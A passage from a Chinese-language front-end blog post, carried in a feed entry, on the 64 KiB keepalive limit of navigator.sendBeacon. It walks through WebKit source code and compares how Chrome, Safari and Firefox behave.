class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>可以看到整個流程與 Chromium 是差不多的，先檢查 URL 的合法性，接著檢查 CSP，然後送出一個 keepalive 的請求。</p><p>這呼應到我們之前所說的以及規格上寫的，sendBeacon 底層就是個 keepalive 的 fetch。那 keepalive queue 大小超過的原始碼會在哪裡呢？</p><p>從實作中可以看出如果 queue 的大小超過了，八成就是這一段出錯，因為只有這邊會回傳 false：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token keyword">auto</span> cachedResource <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">protectedCachedResourceLoader</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">requestBeaconResource</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span> <span class="token function">WTFMove</span><span class="token punctuation">(</span>request<span class="token punctuation">)</span><span class="token punctuation">,</span> options <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>cachedResource<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token function">logError</span><span class="token punctuation">(</span>cachedResource<span class="token punctuation">.</span><span class="token function">error</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>因此可以往 <code>requestBeaconResource</code> 下去追蹤。除此之外，我們也可以從另一個方向來追蹤原始碼在哪一段。</p><p>還記得剛剛那個送出 8 個長度 10000 的字串的範例嗎？在 Chrome 上只會看到請求變成 pending，但是在 Safari 上會出現貼心的提示：</p><blockquote><p>Beacon API cannot load <a href="https://httpstat.us/200?log7">https://httpstat.us/200?log7</a>. Reached maximum amount of queued data of 64Kb for keepalive requests</p></blockquote><p>直接用這個錯誤訊息就可以找到相關的原始碼，在 <a href="https://github.com/WebKit/WebKit/blob//WebKit-7620.1.16.111.5/Source/WebCore/loader/cache/CachedResource.cpp#L249">WebKit&#x2F;Source&#x2F;WebCore&#x2F;loader&#x2F;cache&#x2F;CachedResource.cpp</a>：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token keyword">if</span> <span class="token punctuation">(</span>    m_options<span class="token punctuation">.</span>keepAlive <span class="token operator">&amp;&amp;</span> <span class="token function">type</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">!=</span> Type<span class="token double-colon punctuation">::</span>Ping <span class="token operator">&amp;&amp;</span>    <span class="token operator">!</span>cachedResourceLoader<span class="token punctuation">.</span><span class="token function">keepaliveRequestTracker</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">tryRegisterRequest</span><span class="token punctuation">(</span><span class="token operator">*</span><span class="token keyword">this</span><span class="token punctuation">)</span>  <span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token function">setResourceError</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span>      errorDomainWebKitInternal<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> request<span class="token punctuation">.</span><span class="token function">url</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span>      <span class="token string">"Reached maximum amount of queued data of 64Kb for keepalive requests"</span>_s<span class="token punctuation">,</span>      ResourceError<span class="token double-colon punctuation">::</span>Type<span class="token double-colon punctuation">::</span>AccessControl    <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">failBeforeStarting</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>如果是 keepalive，而且 type 不是 ping（sendBeacon 的 type 會是 <code>Type::Beacon</code>），又沒辦法註冊新的請求，就回傳這個錯誤。</p><p>因此重點就是 <code>keepaliveRequestTracker().tryRegisterRequest</code> 這個方法了，在 <a href="https://github.com/WebKit/WebKit/blob/WebKit-7620.1.16.111.5/Source/WebCore/loader/cache/KeepaliveRequestTracker.cpp">Source&#x2F;WebCore&#x2F;loader&#x2F;cache&#x2F;KeepaliveRequestTracker.cpp</a>：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token keyword">const</span> <span class="token keyword">uint64_t</span> maxInflightKeepaliveBytes <span class="token punctuation">&#123;</span> <span class="token number">65536</span> <span class="token punctuation">&#125;</span><span class="token punctuation">;</span> <span class="token comment">// 64 kibibytes as per Fetch specification.</span><span class="token keyword">bool</span> <span class="token class-name">KeepaliveRequestTracker</span><span class="token double-colon punctuation">::</span><span class="token function">tryRegisterRequest</span><span class="token punctuation">(</span>CachedResource<span class="token operator">&amp;</span> resource<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token function">ASSERT</span><span class="token punctuation">(</span>resource<span class="token punctuation">.</span><span class="token function">options</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>keepAlive<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">auto</span> body <span class="token operator">=</span> resource<span class="token punctuation">.</span><span class="token function">resourceRequest</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">httpBody</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>body<span class="token punctuation">)</span>        <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span>    <span class="token keyword">uint64_t</span> bodySize <span class="token operator">=</span> body<span class="token operator">-></span><span class="token function">lengthInBytes</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>m_inflightKeepaliveBytes <span class="token operator">+</span> bodySize <span class="token operator">></span> maxInflightKeepaliveBytes<span class="token punctuation">)</span>        <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span>    <span class="token function">registerRequest</span><span class="token punctuation">(</span>resource<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>其實也就只是算一下還在等待的有多少，加上去會不會超過最大值 65536，做的事情跟 Sentry 最後的那個 PR 差不多。</p><h3><span id="firefox-的-sendbeacon-實作">Firefox 的 sendBeacon 實作</span></h3><p>在之前 Sentry 的 PR 中其實就有提到 Firefox 不支援 keepalive，對應到的 ticket 是這張：<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1342484">[meta] Support Fetch keepalive flag and enforce limit on inflight keepalive bytes</a>，目前還沒被關閉，從討論中看起來似乎半年前開始有了進展，在 2024 年 11 月推出的 Firefox 133 版本中正式開始支援，雖然還有一些 bug，但應該會越來越穩定。</p><p>我用三個瀏覽器測試了一個情境，送出 10 個長度 6 萬的字串：</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">  <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">let</span> i<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">;</span> i<span class="token operator">&lt;=</span><span class="token number">10</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    navigator<span class="token punctuation">.</span><span class="token function">sendBeacon</span><span class="token punctuation">(</span><span class="token string">"https://httpstat.us/200?log"</span><span class="token operator">+</span>i<span class="token punctuation">,</span> <span class="token string">'A'</span><span class="token punctuation">.</span><span class="token function">repeat</span><span class="token punctuation">(</span><span class="token number">60000</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>Chrome 跟 Safari 都只送出了一個請求，但是 Firefox 133.0.3  倒是很貼心地全部都送出去了，目前還沒有 64 KiB 的限制：</p><p><img src="/img/navigator-sendbeacon-64kib-and-source-code/p7.png" alt="Firefox 截圖"></p><p>如果有人好奇底層實作，程式碼在這裡：<a href="https://github.com/mozilla/gecko-dev/blob/94c62970ba2f9c40efd5a4f83a538595425820d9/dom/base/Navigator.cpp#L1163">gecko-dev&#x2F;dom&#x2F;base&#x2F;Navigator.cpp</a>，目前看起來應該還沒把 keepalive 整進去，所以才沒有觸發到上限。未來應該會按照 spec 走，使用 keepalive 請求，並且遵守 payload 的大小限制。</p><h2><span id="結語">結語</span></h2><p>小功能大學問，一個看似簡單的 <code>sendBeacon</code>，其實深入研究之後也滿有趣的，知道了它的限制、解法，也能從 Sentry 的修補過程中學到一些經驗，還看了瀏覽器的原始碼，更理解背後的實作。</p><p>總之呢，在實務上若是要使用 <code>sendBeacon</code>，都請記得加個錯誤處理，在回傳值是 false 時，改成一般的 fetch 或是加上重試機制，才能加強資料傳輸的穩定性。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;當你想在網頁上向 server 發送一些 tracking 相關的資訊時，比起直接用 &lt;code&gt;fetch&lt;/code&gt; 送出請求，有另一個通常會被推薦的選擇：&lt;code&gt;navigator.sendBeacon&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;為什麼會推薦這個呢？&lt;/p&gt;
&lt;p&gt;因為如果是用一般送出請求的方法，在使用者把頁面關掉或是跳轉的時候可能會有問題，例如說剛好在關掉頁面時發送請求，這個請求可能就送不出去，隨著頁面關閉一起被取消了。&lt;/p&gt;
&lt;p&gt;雖然說可以利用一些方法嘗試強制送出請求，但這些方法通常都會傷害使用者體驗，例如說強制讓頁面晚一點關閉，或是送出一個同步的請求之類的。&lt;/p&gt;
&lt;p&gt;而 &lt;code&gt;navigator.sendBeacon&lt;/code&gt; 就是為了解決這個問題而生的。&lt;/p&gt;</summary>
    
    
    
    <category term="Front-end" scheme="https://blog.huli.tw/categories/Front-end/"/>
    
    
    <category term="Front-end" scheme="https://blog.huli.tw/tags/Front-end/"/>
    
  </entry>
  
  
  
</feed>
